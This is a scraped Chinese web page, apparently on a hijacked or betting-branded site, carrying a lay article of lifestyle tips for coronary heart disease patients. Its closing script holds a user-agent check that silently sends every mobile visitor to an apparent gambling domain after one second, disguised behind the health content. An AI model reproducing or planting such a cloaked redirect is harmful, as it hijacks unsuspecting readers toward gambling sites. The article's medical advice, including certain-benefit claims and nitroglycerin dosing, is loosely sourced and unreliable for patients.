24k88官网

返回24k88官网 | 加入收藏

TEL:028-85152519

健康天地 NEWS

您现在的位置:主页 > 新闻动态 > 健康天地 >

健康天地NEWS
 

冠心病患者生活4要


冠心病是一种中老年高发疾病。患有冠心病者,在日常生活中更需从小处着眼,多加注意才能有效预防心绞痛、心肌梗死的发生。

晨起一杯温开水。大多数冠心病患者血脂高,血液黏稠。为了降低血液黏稠度,要坚持每晚临睡前在保温杯放置一杯开水,待第二天早上起床时,躺在床上就饮用温开水,长期坚持,必然受益。冷水或滚烫的开水容易刺激血管,所以温开水为最佳。除此之外,还要养成多喝水、多吃新鲜水果的好习惯。

饮食清淡七分饱。人体在饱餐后血压升高,心肌耗氧量增加;同时,冠脉血流增加、冠状动脉扩张,极易诱发冠状动脉的痉挛,使冠状动脉血流急剧减少,引起心绞痛等。

所以,冠心病患者吃中、晚餐千万不要过饱,七八分即可。同时,还要注意饮食的清淡,尽量避免油脂性和胆固醇高的食物,如肥肉、蛋黄等;肉类以鱼肉和牛羊肉为佳,多食用菌类、蔬菜等易消化的食物,少喝浓汤。

少看电视多泡脚。老年人通常喜欢看电视消磨时光,但一定要注意控制好时间。长时间看电视会引起交感神经兴奋,导致情绪过分激动。尤其是看侦破片、谍战剧等情节比较紧张、画面比较激烈、内容过于刺激的节目,会使得血液中的酚胺增加,引起血压升高,冠状动脉痉挛,致使心肌缺血,诱发心绞痛或心肌梗塞。建议冠心病患者在睡前看电视,最好不要超过半小时。

在睡前还要养成泡脚的好习惯。遵守人体正常的生物钟,按时就寝,在临睡前用温水泡脚,一边泡脚一边有意识地按摩双脚足心,如涌泉穴、太冲穴等,这样可以促进血液循环,解除疲乏。

手边备个急救箱。在自己熟悉、便于随手拿到的位置自备一个急救药箱储备药品,如硝酸甘油,可在心绞痛发作时取1片嚼碎后舌下含服。

本站信息仅供参考 不能作为诊断及医疗的依据
本站如有转载或引用文章涉及版权问题 请速与我们联系

var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();